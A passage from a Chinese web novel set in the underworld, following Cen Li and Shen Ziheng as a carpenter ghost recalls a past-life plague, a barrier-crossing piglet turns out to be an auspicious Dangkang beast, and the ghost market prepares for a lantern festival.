沈自珩跟李恒说明着:“对,算是鬼市重建后的庆祝,阎王们觉得地府中可以有一些新鲜的东西,提议举办一个活动,让大家能参加的都参加,但究竟是什么形式我们还没有头绪,李大人有什么建议?”
“不敢不敢,我只会做木匠活儿,提不出什么建议。”李恒从旁边一人高的柜子里拿出两个木球递给岑黎,“大人,给。”
岑黎满心欢喜地接过:“谢谢李大人。”
李恒有些局促地交握着双手说:“我多问一句,这个活动是在三月三吗?”
“对,一共三天,时间定了我来跟您说。”岑黎把木球揣进随身带的袋子里,“您有时间来吧?”
“有的,有的。”李恒站在原地有些不知所措,视线在她和沈自珩身上来回转,岑黎和沈自珩对视了一眼,试探着问了一句。
“大人,您是不是想问无患和无恙?”
这话一出屋子里都安静了,李恒更是呆若木鸡,过了好一会儿才仿佛找回了自己声音开口道:“不、不是,你怎么、怎么知道,猜……你是猜到的吗?”
“无恙跟我说了他生前的事,说到他和他哥哥从小相依为命,哥哥在好多地方当小厮,挣钱给他看病,然后碰到了一个人,愿意教他们做木匠活儿,教了六年,有一天那人突然不见了,哥哥去找他,但后来哥哥也不见了。”岑黎看着李恒伤心的表情,顿了顿继续说道,“他去找的过程中被张婶收留,后来他也染了时疫。”
“他说,那个人不愿让他们认他做师父。”
李恒一手撑着桌角略微弯了腰,就这么一会儿功夫竟显得老了许多。他仰起头叹出了悠长的一口气,回忆起了前世,那也是他在人间的最后一世。
“时疫来得十分迅速,并且很凶险,最初是小镇外有人到镇上医馆来治病,我们镇上医馆里的大夫,医术算是天下数一数二的了,但没能把人治好,那人还是死在了医馆后头,大夫不忍心让他就这么走,还找人将他安置,但时疫也就这么传开了。当时我们谁也不知道最先染上病的会是医馆。
等我们发现医馆关门是因为时疫的时候已经晚了,走在街上的人大多有着相同的症状,皮肤发红发痒,咳嗽,发热,到最后还会呕吐,一般到咳嗽这一步的就已经没救了。我那天去找东家要工钱,东家就有发热的症状,我怕我这么一接触就已经染上病,所以没敢回去,只是托人将工钱送回,自己躲在了一处废弃的宅院里,但没想到时疫还没消停,又开始闹起了饥荒。”
沈自珩皱着眉冒出一句:“祸不单行。”
“是,祸不单行。我在宅子待了两天,那
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宅子原本就是我带着他们建的第一所,快要建完的时候东家在宅子里寻了短见,宅子也就废了。我以为我会饿死在宅子里,但没想到无患找到我了,还给我带了好些吃的,我知道我俩肯定都能活下去,但外面的人不行啊。
我每天都在看街上,他们已经没有人模样了,有的人看着正常,身上看不出有什么伤,但走着走着就倒了,然后就再没爬起来,我从没见过那样的场面,无患更是吓坏了,哭了一晚上,第二天他跟我说,疯子,我们把门打开吧,让他们进来,我说好。我们把门打开后没两天就下了好大一场雨,大家都以为下过雨了就好了,能得救了。
但其实更严重了,好些人淋了雨身上开始溃烂,原本还能吃的食物被雨一浇就没法再吃了,唯一能入口的也只有井水……太乱了,到现在我也还是不知道我究竟是因为什么死的。”
“人死后会主动遗忘一些觉得痛苦的事情,这也常有。”沈自珩看着李恒没忍心说出来,他看过李恒的生死簿,他是饿死的。
“无患跟我们说的时候只提到了饥荒,似乎不记得时疫,也是因为太痛苦了?”岑黎悄声问沈自珩,没想被李恒听了去。
“无患染了时疫,最后一段时间他已经意识不清醒,除了喊无恙就只剩渴和饿,我就把我的粮……”李恒说到这里愣住,脑海中那块灰蒙蒙的地方似乎松动了,他试着往下说,“我把我的粮食……给了他……”
他想起来了,他是饿死的,当时他饿得抓心挠肝,饿得眼前发红,他甚至想把、想把他们……
但他被发现的时候只是抱着无患坐在原地,一步都没挪。
沈自珩用手背飞快蹭了一下岑黎的脸,沾上一片湿润,见她仰起脸看他,他笑了笑。
岑黎吸了吸鼻子问:“无患和无恙到现在都不知道是您,我能不能冒昧地问一句,您当时为什么不愿意让他们认您做师父?”
“我不配。”李恒用十分凄凉的目光看了她一眼,回忆着他那一生,“我哪里配呢,不过是怕我的手艺无法传承,我才随意找了两个小毛头来学,我即没有好好养他们长大,也没有供他们念书,哪里能做师父。”
“怎么叫配呢?大人,授人以鱼不如授人以渔,您教给他们手艺,后来他们不也是能凭着自己的手艺吃饭了?如果没有这手艺他们现在也不会留在地府团聚,无恙现在不再生病,和无患在地府做着鬼差,每日也都开开心心的。”
岑黎有些着急地走上前,语速也快了些,但她还是压下了想要向两兄弟说穿李恒就是他们师父的想法,只是柔和地说着,“大人,我是旁观者,说了也许不算,您不如自己问问。”
“哪怕不挑明自己是谁,只是以一个前辈的身份问问他们现在好不好,过得开不开心。”
李恒站起身从柜子里拿出两把崭新的刻刀,刀柄上分别刻着无患、无恙。他将刻刀用布包好揣在怀里,小心地问了一句:“我可以现在去看看他们吗?”
20. 三月三 逛花灯 四
岑黎也跟着有些激动,李大人拿着的是要给兄弟俩的吧,这是想相认了吗?她作为孟婆庄管事经历的一向都是告别,还真的鲜少见证相认的场景。她连连点头:“可以可以,相认还要挑什么时间啊,您想好了?”
那两柄刻刀是李恒亲手做的,他下到地府来的头几年还只是个打杂的鬼差,阴律司的公务多半是由判官亲手办的,剩下的也就是跑腿通知这类小事,于是他每天办完事后就去挑选刻刀的材料,光这一步骤就用了小半年,都挑选好后将部件组装,定型,最后一步才是往刀柄上刻字。
“想好了,这两把刻刀做成都已经好多年了,该送出去了。”
呼啸而过的风将尘土卷到空中打转,落在地上的枯草也被一同卷了起来,草叶刮过小兽的鼻子,它晃了晃脑袋从鼻子里喷出一口气来,但还是觉得难受,它站起身打了一串喷嚏。
母兽去觅食前将它拱进了一旁的洞里,起先它不愿意钻进去,那洞里有些果子和种子的残渣,它站在洞口也能闻得出那些已经风干,还有些腐烂的味道。它站在洞口倔强地仰起脖颈抗议,母兽没理会,只是更用力地拱了拱它,将它拱得一个踉跄摔了进去。
洞很大,它试着在洞里站起来又在原地转了几圈,顺便把那些残渣刨了出去,再从旁边荒草地上叼了好些枯草铺上,等它忙完这些时母兽已经不见了。
小兽探头出去看了看,闻到了母兽的气味就在不远处,它转身回了洞里卧在草上,但卧得有点太靠里面,它又往外爬了一点,专心地看那些路过洞口的虫子,看着看着它逐渐闭上眼睛,睡着了。
不知过了多久,风吹得更猛烈,风中还夹杂着血腥味,小兽探出头去在空气中使劲嗅闻,闻到的只有裹挟着母兽气息的血腥味。洞口的杂草将整个洞都挡了个严实,它拱了拱杂草,风带着其它兽的气味钻了进来,小兽从未闻到过这气味,转身钻进了洞的最深处。
母兽的气味越来越淡,陌生兽的气味也随着消失了,小兽发出了两声呜咽往洞外走,它知道母兽应该是被那只陌生的兽吃了。
但它还没彻底学会怎么找食物,只能自己走在山间努力地四处嗅闻,寻找自己吃过的果子。就这样,白天它出去找吃的,天黑前就回到洞里,直到这一天它叼着果子往回走,突然在洞的附近闻到了那个陌生的兽的味道。小兽丢了果子往另一个方向跑,穿过了山林,穿过了沼泽地,它奔向了不远处的荒草地,那里应该也有能容下它的洞吧。
“这是什么兽?”春生蹲在地上研究着,他们刚到荒草谷就看见了趴在草地上的这只小兽,看这嘴和尾巴……都很像猪啊!
识因的声音从不远处传来:“你还是先看看屏障吧,屏障上面也没洞啊,这小东西是怎么钻过来的?”屏障虽然有裂缝,但上面仍有丝丝缕缕的灵力拉扯着,别说是这样小型的兽,就是蚊子也过不来啊。
他托着下巴,看了看屏障又看了看躺在地上的小兽,“小兽还活着吗?”
“活着呢,还在喘气,你看,它身上也没受伤。”春生将手轻轻搭在小兽的肚子上,手掌摸到了很明显的骨头,他弯下腰去跟小兽说话,“这小东西好瘦啊,都皮包骨了。你真是小猪吗?有这么瘦的小猪?”
小兽长得与猪十分像,除了耳朵比猪小一些外其它并没有什么不同,身形也像人类养的小香猪,但它全身都是白色,没有一点其它颜色的花纹。它动了动蹄子,轻轻叫了一声。
“呀,它叫了!”春生从地上蹿起来,把小猪吓得浑身一抖。
识因也被他一惊一乍吓得不轻,从旁边一个箭步冲过来对着春生后背呼了一巴掌:“你干啥咋咋唬唬的,把小猪都吓到了!你抱着它,咱俩回去汇报。”
春生也不恼,嘿嘿笑着把小猪抱在怀里傻乐着说:“去汇报啥呀?”
识因闭了闭眼平复心情,睁开眼后往他背上又呼了一掌。
“府君,现在应该怎么办?”识因手掌相对比划出了一段宽度,又指了指春生怀里的小猪说,“就这么宽,小猪就是从外面进来的,但是全身上下只有被草叶子划的伤,没有被灵力伤到。”
厉温朝春生走去,站在他面前仔细看了一会儿小猪:“把它放下。”
“是。”在来的路上春生和识因就给小猪喂了水和一点狗粮,这会儿大概是有力气了,小猪在地上安静地站着,紧紧贴住春生的裤腿。
“识因,你说裂缝上没有洞?全都仔细检查过了?”厉温转身看向识因,脚下却没动,站在春生旁边的小猪抬起头四处闻了好一阵后,抬起了一只前脚又放下。
春生这才注意到小猪的动作,他趁其他人不注意低头看了看小猪,用气声跟它说:“乖一点!”
“春生。”厉温喊他。
春生一个激灵站直了:“府君!”
趁着厉温看向他,身后的识因挤眉弄眼地瞪完他又瞪小猪,春生看着他差点笑出声,赶紧把嘴死死抿住。厉温问:“给它喂食了吗?”
“喂了……啊?”春生嘴比脑子快得回答完,惊愕地看向厉温,后面的识因也惊在原地,府君要吃它了?!
小猪哼哼一声。
春生一闭眼,视死如归地开口:“府君,那、那个,我……”
“府君!”
识因喊了一声,春生听见了,一睁眼就看见厉温蹲下身伸手要抱小猪。识因喊得破了音,“府君那个小猪瘦得皮包骨头了应该不好吃的您再考虑……”
小猪被抱起来后动了动鼻子,把脑袋搭在了厉温的臂弯里。厉温摸了摸它问识因:“你刚刚说什么,我没注意。”
“我自言自语呢。”识因走到春生旁边扯了扯他,疑惑地问,“府君,您要养它吗?”
厉温摇摇头,冲着春生抬了抬下巴:“春生很想养吧,我可不夺人所爱。”小猪在他怀里动了动。
“我已经传讯给各殿鬼差了,你们就在这儿待着吧,屏障的事等人到齐了再议。”厉温伸手用手指蹭了蹭小猪,托着它的肚子把它抱给春生,“先将它安置在一旁,结束后你带回去养。”
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“谢谢府君!”春生接过小猪激动得差点跪下,厉温看了他一眼边往殿上走边说:“这么开心,我何时阻止过你们养这些。”
站在门口偷听了好半天的薛礼笑着走进来调侃着:“厉温啊,你怎么还管他们养什么呢?”
厉温站在台阶上等他走上来:“你怎么来了?”
鬼差们陆陆续续到了,站满了阎王殿,见两位阎王都坐在殿上纷纷猜测着究竟是什么大事,鬼市即将重新开放,都猜着是不是与鬼市有关。
“也有点关系。”厉温自上而下看着殿里的鬼差们,放出一个惊人的消息,“地府外的屏障出现了裂缝,虽是由鬼帝们深厚的灵力交织而成,但放任不管绝不是个长久之计。因为今日,屏障外的小兽竟是直接进了地府。”
站在下面的岑黎猛地扭头看向沈自珩,沈自珩感受到了她的目光,转头看着她。
站在前面的崔珏问:“府君,屏障现在破损程度有多大?”
“我正要说,屏障现在只有裂缝,且裂缝由鬼帝们的灵力拉扯着,按理说外面的东西进不来,但是这只小兽进来了。这事奇怪,我找你们来也是因为这个,一,这小兽为何能进来,多半不是寻常兽类,是凶兽还是神兽尚且不知;二,裂缝该如何修补,鬼帝们不在地府,理应是由十殿阎王将它修补好,这也是阎王的份内事。”
厉温扫视一圈说,“但屏障终究回不到最初那样,所以我们各殿阎王商量了一下,是否可以在屏障内再添加一道屏障。”
厉温说完一大串,没等众人消化,一旁的薛礼说:“大家有什么想法,畅所欲言。”
岑黎正低头整着腰带,忽然被一旁的沈自珩拱了一肘子。
“嗯?”
沈自珩悄悄传讯给她:“你往左看。”
刚才春生找了个纸盒放在角落里,把小猪放在了里面,但这会儿再看小猪却从纸盒里跑了出来,趴在旁边看着他们。
岑黎扬起眉毛目不转睛地看着小猪:“它好乖好可爱!外面还有吗能带一只回来吗!”
“岑黎。”薛礼从殿上下来喊她,“你主意多,想想。”
“府君,那小猪就这么自己进来了?没有受伤?”
“没有。”
岑黎皱紧眉头,面色严肃地看着小猪,思索一番后说:“那不如先带着小猪从屏障再走一遍,也许就知道为什么它能过来了。”
众人散去,岑黎拉着沈自珩和两位阎王一起去荒草谷,沈自珩抱着小猪走在她旁边:“你……”
“怎么?”
“你就是想看看外面还有没有小猪吧。”肯定的语气。
岑黎一抬下巴,一副你奈我何的表情看他:“是啊。”
沈自珩问:“如果屏障外有小猪,你还要养狗吗?”
岑黎不语,盯着他看了一会儿,轻笑道:“怎么,你是很想陪我去鬼市买狗吗?”
她看向那双好看的狐狸眼,那眼睛诧异地瞪大了些,但很快就恢复了原样,然后又弯了弯。
21. 三月三 逛花灯 五
小猪站在屏障前不动,周围有无数双脚将它围住,它四处看了看,头找尾巴地转了几圈后在原地卧下了。
众人焦急起来,在人堆中找着把小猪抱回来的鬼差:“是谁把这小兽抱回来的?”
“什么小兽,你看不出来这是猪啊?”
“不重要不重要,是春生抱回来的吗?春生呢?”
春生的名字像蒲公英一样在人群中迅速散开,他站在最外围连声应着:“我在我在!”
他好不容易挤出人群,蹲在小猪身后推了推它屁股:“你能出去吗?”
小猪叫了一声,站起来。
见它真要往屏障外去,春生倒是有些焦灼起来,对识因说:“识因,它会不会出去了就不回来了?”
识因耸耸肩,安抚似的拍拍他肩膀:“它本来就不是地府里的宠物,外面才是它生活的地方,不回来就不回来吧。”
春生有些伤感地点点头,从余光看见屏障似乎亮了一下,他低头看去,小猪不知道什么时候已经穿过屏障了,正站在屏障外看他!
“小猪!小猪过去了!”春生抓着识因的衣服摇得他像不倒翁,“它什么时候过去的?”
周围的鬼差听见也震惊了,小猪实在太小了,也就和小腿肚差不多高,他们围在一起连小猪的头都看不到。
识因从春生手里救下自己的衣领:“不知道啊!”
他蹲下身从口袋里掏出一把狗粮,用手捧着给还在屏障那边待着的小猪看,几乎是哄着说:“你再回来给我们看看,好不好?”
小猪突然偏了偏头,识因也跟着看去,周围都是一片荒草,哪有什么东西?他看向小猪恍然大悟:“你是不是鄙视我呢?”
屏障那边传来一声哼哼,小猪仍站在原地,识因想收回手时被握住了手腕,手心里的狗粮也被拿走了。
岑黎拿着狗粮闻了闻,问识因是什么时候买的。
“鬼市上吧,这还是之前救那只地狱犬的时候买的,大概半年多?”
沈自珩在旁边笑出声:“它是嫌弃这个狗粮吧。”
岑黎点点头,把狗粮塞回识因的口袋里,转头看向沈自珩:“帮个忙,我口袋里有地狱犬的零食,新到的。”
沈自珩挑了挑眉毛,她今天穿着藕粉色连衣裙搭配了一件白色斗篷,衣服口袋在裙子腰间,被斗篷盖住一半。
“我手上都是油。”岑黎向他解释一句,“你帮我把斗篷拎起来就行。”
沈自珩捏着斗篷边的白毛把斗篷拎了起来,她翘着兰花指从口袋里捏出了零食,刚一拆包装,屏障那边一直很安静的小猪突然有些激动地在原地跺脚。
“过来吗?”岑黎蹲下身把零食凑近屏障。这零食可是新到的,大风和兜兜都喜欢吃,连谛听也很喜欢,小猪应该抵挡不了这种诱惑,更何况这屏障原本看得见闻不着,现在破了也闻得着了……
原本拎着斗篷的沈自珩在岑黎蹲下的时候顺手帮她拎起了裙摆,她一向喜欢大裙摆的裙子,还大多是白色,要是在这荒草谷沾了一裙子的枯草和土回去她怕是要气哭。
小猪动了动鼻子紧盯着岑黎,见她的手往后缩了一寸,它抬起腿就往岑黎的方向冲过去!
“小心——”春生伸出手。
岑黎听着声音抬头,还没找到春生在哪里就被沈自珩拎着胳膊拽了起来,下一秒小猪就狠狠撞在了她的小腿上,她的腿先是传来一阵像被很多银针扎上的刺痛,随后又扩散成一片带着肿胀感的疼痛,她甚至想掀开裙摆看看自己的腿有没有肿成萝卜。
小猪也被撞得七荤八素,踉跄了两步歪倒在旁边甩了甩脑袋。
“我的腿……”岑黎猛地回手死死抓住沈自珩的胳膊,脸色铁青,“腿……”
放在胳膊上的手用力地几乎要捏碎他,沈自珩一手扶住岑黎的后背,一手抄起她腿窝将人横抱起来。周围目睹全程的鬼差都大惊失色地给他们让路,现场良医所的鬼差更是直接一路狂奔回去,一边跑一边大喊:“施大人!出事啦——出人命啦——”
岑黎被晃得眼晕,手挂在沈自珩脖子上缓了缓,听见小鬼差越喊越离谱她笑出了声,拍了拍沈自珩肩膀:“诶,我腿没断,可以走,你放我下来吧。”
沈自珩快步走向良医所,看都不看她一眼:“你知道你的脸色有多难看吗?”
“有吗?我今天没化妆。”岑黎抬手又拍了拍他,“真没事,没断——”
“没断,骨裂而已。”施永和拿过剪刀把胶布剪短,“好了,两周后来找我换药,忌口啊,你那些零食都别吃了。”
岑黎闻言一拍桌子,桌上的东西都往上蹦了蹦:“为什么!给我一个理由!”
施永和松开摁住剪刀的手,一根一根扣下手指:“薯片油腻,奶茶含糖量超高,小龙虾辛辣,还……”
“行了行了!知道了!”岑黎又是一拍桌子,站在她身后的沈自珩伸手在桌子边缘接住一支滚落下来的笔放回到桌上。
她有些懊恼地朝他伸手说,“没想到那么小一只猪居然能把我撞成骨裂。”
沈自珩自觉弯腰让她搂住自己脖子,两手一兜把人抱起来时怀里的人还在碎碎念:“如果你没把我拎起来可能我的鼻梁就要断了。”
施永和拿起一袋子药递给她,她伸出一根手指勾过来丢在自己怀里:“它对这屏障也来去自如,不是一般的猪。”
沈自珩边应着边往外走:“嗯,所以你还想养猪吗?”
“不想,还是养狗吧。”
“地狱犬比这只猪的体型大。”
“但是狗比猪乖。”
施永和站在门口看着他们走远,叹了口气:“也就是鬼吧,能这么胡吃海塞的不用担心身体出问题。”他想了想觉得不对劲,“都是鬼了受伤还忌什么口啊?”
“我又不是人!为什么要忌口!”岑黎抱着骨裂的右腿架在沙发对面的茶几上,旁边的袋子刚刚被她扯开了,里面全是外用药,一点内服的都没有。
沈自珩回身关上门看了一圈,一进门就是三
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层高的挑空客厅,两面都装了大窗户,地府的“太阳”几乎一整天都能照进来,从沙发的凌乱程度看这里应该是岑黎和孟婆最常待的地方;客厅往里走是一个没有门的厨房,十分整洁明亮,应该不常用;厨房旁边就是楼梯了,他收回目光走到沙发边。
“别客气,坐。”岑黎伸手拍了拍身边的位置,“你和孟婆认识这么多年了没来过?”
沈自珩意味不明地看了她一眼,坐到旁边的单人沙发上:“来过,但当时不是这个样子,这是重新装修过了?”
“对,前两年供养阁人手不够,我去帮了几天忙,最后一天正巧碰上一个设计师过来取他父母给他烧过来的东西,居然是一叠图纸,全是他设计的。”岑黎从桌上摸了个梨咬了一口,“可惜也没地方用了,就想送给我,但我只拿了一张。”
沈自珩应了一声,岑黎也没再说话,屋里突然陷入了安静,她朝左边看了一眼,那里放着的单人沙发上沈自珩从容地坐着,双手交叠放在腿上,目光平静地看向她。她不躲不闪也看着他的眼睛,思索着他们的关系是从什么时候开始变成这样的。
可这样是什么样,她也说不清。沈自珩还是会给她开罚单,但从最先的罚阳寿变成了在地府也无甚大用的金银,他的态度也还是有些冷淡,但又似乎总是能关注到她的一言一行,从她将自己的一缕灵力放到他身体的那一天开始,他们待在一起的时间好像越来越多。
他在刻意保持距离。岑黎几不可闻地叹出一口气,终究还是理不清思绪。
她思考的时候眼神会盯着一个地方变得涣散,圆圆的眼睛会微微眯着变得没有那么圆,但大概连她自己也不知道这些。沈自珩饶有兴致地看她,逐渐从她的神情里看出了迷茫、不解,和一些他解读不出来的更深的情绪。
他的思绪越飞越远,十指无意识地交叉紧握,指骨上传来的疼痛许久不散。
岑黎猛地扑过来扒他的手指:“你干什么!”
沈自珩回过神看她近在咫尺的脸,紧握的双手被岑黎掰开包裹着,他笑笑:“没事。”
“你这是什么奇怪的习惯。”岑黎从沙发上拿过一条毛毯让他抓住,等他抓住那一团毛茸茸之后她又把剩余的部分左一圈右一圈地裹上他的手。
“这是干什么?”沈自珩抬着手问她。
“防止你再捏自己。”岑黎裹好了“粽子”,身子一歪瘫回沙发。
两人又沉默了。
直到屋外传来几声听起来很欢快的狗吠,把两人间不知道究竟是什么情绪的气氛打得支离破碎。
岑黎懒洋洋地宣布自己的重大决定:“以后我肯定养狗,有猪我也不养了。它撞人真疼啊,怎么从屏障外冲过来一点缓冲都没有呢!”
沈自珩在沙发上猛地坐直了拧着眉毛看她:“你说什么?”
她一愣:“什么?我说我以后养狗……”
“从屏障外冲过来。”
“一点缓冲都没有!”岑黎一拍沙发坐直了,“我知道了!”
22. 三月三 逛花灯 六
无患把小木门关上,看着还没栅栏高的小猪直奔旁边的碗,他哭笑不得地跟春生说:“照这么个吃法,鬼市还没开放呢它就长成大猪了。”
在不远处墙边吃着鲜粮的小猪抬起头冲着他俩哼哼一声。
春生急忙安抚它:“没事,长大了也很好啊,强壮。”
“它长不大了。”岑黎被云昭扶着慢慢走过来,原先两条腿都好着的时候她就嫌从家到鬼市太远,不愿意过来,现在一条腿用不上反倒要经常往这儿跑了。她苦着脸对云昭抱怨,“早知道让沈自珩先把我送过来再走了。”
听见声音的春生扑通一声跪下了,恨不得以头抢地谢罪:“大人!对不起!都是我的错!”
岑黎哭笑不得地伸手拉他:“跟你有什么关系啊,快起来。”
“是我捡到它的,理应由我承担责任。”春生站起来含着泪要承担后果,委屈的表情岑黎看着更是想笑了,但看他这样她又不太好笑出来,只能先宽慰他。
“小猪是自己进来的,你捡了它说明你善良,它撞我也是意外,没控制好距离罢了,不要放在心上。”
岑黎转了转眼珠放低音量跟他说,“我跟你说个秘密吧?莲花台的神兽谛听,不喜欢洗澡,每次洗澡都要想尽办法逃跑,有一次云昭带着它到河边,原本它应该是打算从河这边跳到对岸去,但是它和小猪一样没控制好距离,一脚踩进了河里弄得全身湿透,不洗澡也得洗澡哈哈哈哈。”
旁边的两人懵懵地看着他们交头接耳,不知说了什么之后都爆发出一阵笑声。无患挪到云昭旁边:“大人,他们说什么呢?”
云昭托着下巴看她岑黎姐姐笑得从脸红到耳朵,这种情况也不多见,思考之后她得出一个结论:“可能在说谁的丑闻吧。”
谛听趴在地藏脚边打了个喷嚏。
它甩了甩脑袋站起身往大殿中间走了两步后停在原地,撅着屁股努力往前伸着前爪,把自己拗成了一座形状奇怪的小桥。
随着“小桥”的成型,空中打着卷的毛缓缓地落到地面上。
“谛听,跟着去吧,你可以玩几天再回来,莲花台近日不忙。”地藏冲谛听摆摆手,它兴奋地轻吼一声往仍在一旁站着的沈自珩扑过去。地藏又跟沈自珩说,“如若它惹祸了,你就带它去洗澡冷静冷静。”
地藏不理会躺下发疯的谛听,冲着旁边拎着拖布的人勾勾手,指了指面前的地。
怎么这么多年了还掉毛啊……
岑黎勾着一条腿站在地上远远地指挥着他们往屋角上挂花灯。
三月三不管对于人还是鬼都是一个重要的节日,以往整个地府都会在三月三装饰一番,甚至连鬼门关都会挂上花灯,但是因为鬼门关太高,不说挂灯上去难度太大,就算挂上去了效果也实在瘆人,最后阎王们决定将地府中的装饰都集中在鬼市。
于是鬼市便成了三月三时最热闹繁华的地方,甚至会让人有一瞬间忘了这里是地府。
“往左一点……歪了歪了,左边上去一点,一点点!好了!”岑黎站在矮小的木栅栏外指挥着无患,小猪吃完了碗里的粮跑到栅栏边仰头看着她,时不时还哼一声吸引她的注意。
虽然不知道在动物眼里它们的审美是什么样的,但是对于人或者鬼来说小猪长得十分可爱,岑黎艰难地靠着栅栏弯腰伸手呼噜两把小猪的耳朵,又轻轻戳了戳它的鼻子:“原谅你啦。”
小猪像是听懂了她的话,卷曲的尾巴不停摇晃着,就在它转身躺到地上正准备露出肚子的时候从岑黎身后传来一声吼。
岑黎感到自己的后背被拱了拱,她刚转过头去就被柔软的白毛糊了一脸,旁边的沈自珩一边看热闹一边躲开谛听兴奋地来回甩的尾巴。
但这次谛听没等岑黎说话就主动往旁边挪了一小步,凑近闻了闻她的腿上包扎好的地方,转过头一抬腿迈过了才到它小腿高的栅栏,直奔着小猪去了。
“诶!”岑黎一着急两条腿都踩在了地上,脚刚落地就传来一阵剧痛,她皱着脸对沈自珩挥手,“谛听会不会咬小猪啊?”
谛听走到小猪旁边绕着它闻了好一阵,随后站定在它对面低下头,用自己额头上的法印碰了碰小猪,随着一阵金光亮起,小猪被光包裹着逐渐变了样,除了背上长出了一片青色的长毛之外还长出了两对小小的獠牙,变成了人们熟悉的当康的模样。
正帮无患扶着梯子的春生更是惊掉了下巴:“当康?!这不是当康吗!”
沈自珩制止了岑黎试图用瘸腿踢开小木门的举动,弯腰把门打开好让她一点点挪到谛听身边,如果今天真让她把这门踢开,自一刀一只骨矛兽后在地府中大概又会流传出一脚踢飞一扇木门这种惊人传闻。
“应该是当康的后代。”岑黎挪过去扶着谛听的肩胛,把半个身子都靠在它身上后十分舒服地打了个哈欠,“小猪过屏障的时候毫发无伤应该就是因为它是瑞兽。”
小猪又哼一声,所有人的注意力都放到了它身上,尤其是站在岑黎旁边的沈自珩和云昭,生怕小猪又把岑黎另一条腿撞了。
但小猪只是哼了一声,慢慢吞吞地朝着岑黎走过去,走两步还抬头看她一眼,小心翼翼的。
“姐姐……”云昭有些担心地想上前去,但她往小猪的方向走一步,小猪就往后退一步。云昭傻眼,“这是不让我过去?”
岑黎笑笑:“没事,它就是想过来。”小猪走到她面前用鼻子拱了拱她的腿,又往木门的方向走,众人都以为小猪要出去,谁知谛听也动了动要往门口走。
小猪走到栅栏外停下,使劲嗅闻着空中的味道,过了好一阵才抬腿要走,走之前它看了一眼岑黎,又看了一眼前方。
“这小东西想干什么呢?”无患拎着还没挂的花灯纳闷。
有养谛听经验的云昭猜测着:“它是不是要我们跟着它走?”
岑黎点点头:“应该是的,跟上看看。”说着她要走,扶上云昭胳膊的时候她猛地回头看无患,眯眼指了指他手里的花灯,“你不许去看热闹,把灯挂完,下周就是三月三了!”
无患依依不舍地看着他们:“哦……
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”
“嗯,一会儿有人来帮你,人多能快点。”岑黎丢下一句话就走,留无患在后面撇嘴嘀咕。
“肯定是无恙呗,大人这还要卖个关子。”他拎着花灯继续嘀嘀咕咕地走了。墙角堆的花灯小山塌了一角,他看着叹了口气。
鬼市扩大了也不太好。
地府的路上一只小兽在前面跑着,四条小短腿跑出了残影,身后跟着一只体型是它数倍的白色长毛神兽,这只神兽只是慢悠悠地迎风走着,身上却飘出了许多白色的毛,像蒲公英一样到处飞,惹得它身后的鬼们都不得不拉开和它的距离。
“换毛季到了吗,谛听怎么掉这么多毛,会不会秃啊?”岑黎跟在它身后像吹柳絮一样吹开空中的毛。
扶着她的云昭皮笑肉不笑地回她:“别说了,最近莲花台到处都是它的毛,打扫都忙不过来。”
岑黎想笑。
云昭又说:“但也是有好处的,以前它偷吃被发现了会耍赖,现在有证据了,昨天晚上我就发现锅旁边有一撮它的毛!”
岑黎哈哈大笑着,猝不及防把毛吸进了嘴里,她呸着吐掉嘴里的毛,再抬头看去发现他们到了荒草谷。
小猪钻进比它身子还高的草丛里四处闻着,草被踩得发出窸窸窣窣的声音。
“这都是枯草了,它在找什么?”
“大概在找能做粮食的作物。当康乃瑞兽,所到之处土地肥沃,作物迅速生长。”一直缀在后面的沈自珩开了口,走到岑黎旁边问,“腿还好吗?”
岑黎看也不看他,一直盯着小猪:“腿没事,谢谢啊。”
敷衍得很。
小猪走了好大一圈,走到了镇妖塔正后方的草丛里才停下,站在原地转了几圈,众人急忙走过去看,在它周围的植物竟然慢慢变绿了!
一路都没说话的春生最先凑过去,发现那一大片都在变绿之后狠狠揉了揉小猪的耳朵,完全忘记了它是瑞兽这回事:“枯草竟然又活了!你可太厉害了小猪!”
“还叫小猪呢,春生,你若是想养它不如给它起个名字?”沈自珩也凑近看了看,叶片太小了还看不出是什么,但应当是能吃的东西,没想到瑞兽真的如传说那般神奇。
春生茫然地啊了一声:“当康不是它的名字吗?”
谛听吼了一声,从背后把春生拱了个跟头。
“它听不下去了哈哈哈,春生,当康是它那个种族的名字,有些神兽瑞兽只有一只,比如谛听和大风,那就叫这个,但是有的神兽比如当康、胐胐、玄鸟就不止一只,所以你喊它当康和喊它小猪是一样的意思啦。”云昭给他解释着,“当然你想叫它当康也可以的。”
“哦……那我要好好想想,给它起个好听的名字。”
春生抱起原地躺下的小猪往回走,谛听跟着云昭先回孟婆庄找孟婆,只留下沈自珩和岑黎四目相对。
岑黎莫名其妙地看着他:“我是腿瘸了走得慢,你是因为什么?”
沈自珩背对着蹲在她面前。
“送你回去。”
23. 三月三 逛花灯 七
岑黎趴在沈自珩背上看着他后脑勺,他们来荒草谷的时候他一直跟在后面也不说话,现在突然说要送她回去,事出反常必有妖……但是能有什么妖呢?
首先排除喜欢她。
她两手搭在他肩膀上拍了拍:“沈自珩,你……有什么事吗?”
沈自珩把她往上颠了颠,她急忙收紧胳膊抱着他的肩膀。他笑笑:“为什么这么问?”
“你有点怪怪的,情绪不高,是遇到什么事了?去找谛听的时候地藏为难你了?”她的手臂搭在他肩膀上,说话的时候手在他眼前晃了晃,一阵草药味传进他鼻子。
“你还吃着稳固灵力的药?”他突然开口,轻而易举地转移了话题。
“对啊,施永和说那个好用,让我再吃一阵,你别说是挺管用的,我的灵力稳定了很多。”
沈自珩点点头,头发蹭在她脸上,她伸手挠了挠脸随后一把拢上他的头发警告着:“你别乱动,你的头发蹭到我脸了,好痒。”
“抱歉。”沈自珩轻笑着,端起督察的架子要给她放假,“这一周你就不用来鬼市了,在家好好歇着吧。”
岑黎在他背上一激灵,连声道:“不行不行不行,鬼市要挂花灯,还要贴画装饰呢!”
“我盯着就行了。”
岑黎的声音更大了,在他耳边嚷嚷:“那也不行!我信不过你的审美,你们一群人把鬼市装得更像鬼市了怎么办?”
“什……”鬼市就是鬼市啊,什么叫更像鬼市啊……
“诶,沈大人。”见快到阴律司了,她兴致勃勃地凑近他耳边,语气中满是压抑的兴奋,“我们去看看李恒大人和无患无恙吧,怎么样?”
“在去看李大人之前我先带你去个地方。”
岑黎没理由不同意,毕竟她现在连腿都用不上,把阴律司的督察大人当轿子用呢。
沈自珩背着她慢慢走着,路灯亮起的时候两人都抬头看了一眼,觉得地府的夜晚是不是来临得又早了些。岑黎见周围没有认识的鬼差,竖起一根手指指着天上的月亮,肆无忌惮地调侃着鬼帝们:“人造的日月就是不稳定啊,我怎么感觉白天的时间短了些。”
